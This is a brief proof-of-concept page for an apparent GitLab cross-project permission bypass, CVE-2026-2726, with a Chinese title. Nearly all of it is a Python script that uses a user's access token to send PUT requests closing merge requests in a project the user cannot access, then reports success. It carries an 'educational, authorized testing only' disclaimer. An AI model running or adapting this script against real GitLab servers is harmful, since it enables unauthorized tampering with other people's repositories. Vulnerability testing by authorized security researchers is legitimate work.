CVE-2026-2726 GitLab跨仓库操作权限绕过漏洞

import requests # CVE-2026-2726 PoC Concept # This script demonstrates how an authenticated user might attempt unauthorized actions on a merge request in another project. # Note: This is for educational purposes and testing against authorized systems only. TARGET_URL = "https://gitlab.example.com/api/v4/projects" PRIVATE_TOKEN = "your_access_token" TARGET_PROJECT_ID = "123" # The target project ID the user does not have access to MR_IID = "1" # The Merge Request IID ACTION = "close" # The unauthorized action to perform headers = { "PRIVATE-TOKEN": PRIVATE_TOKEN, "Content-Type": "application/json" } # Attempting to perform an action on a cross-project MR # The vulnerability arises if the server fails to check access rights on TARGET_PROJECT_ID url = f"{TARGET_URL}/{TARGET_PROJECT_ID}/merge_requests/{MR_IID}/{ACTION}" response = requests.put(url, headers=headers) if response.status_code == 200: print(f"[+] Potential Vulnerability Confirmed: Action '{ACTION}' executed successfully.") print(f"[+] Response: {response.json()}") else: print(f"[-] Action failed or forbidden. Status Code: {response.status_code}") print(f"[-] Response: {response.text}")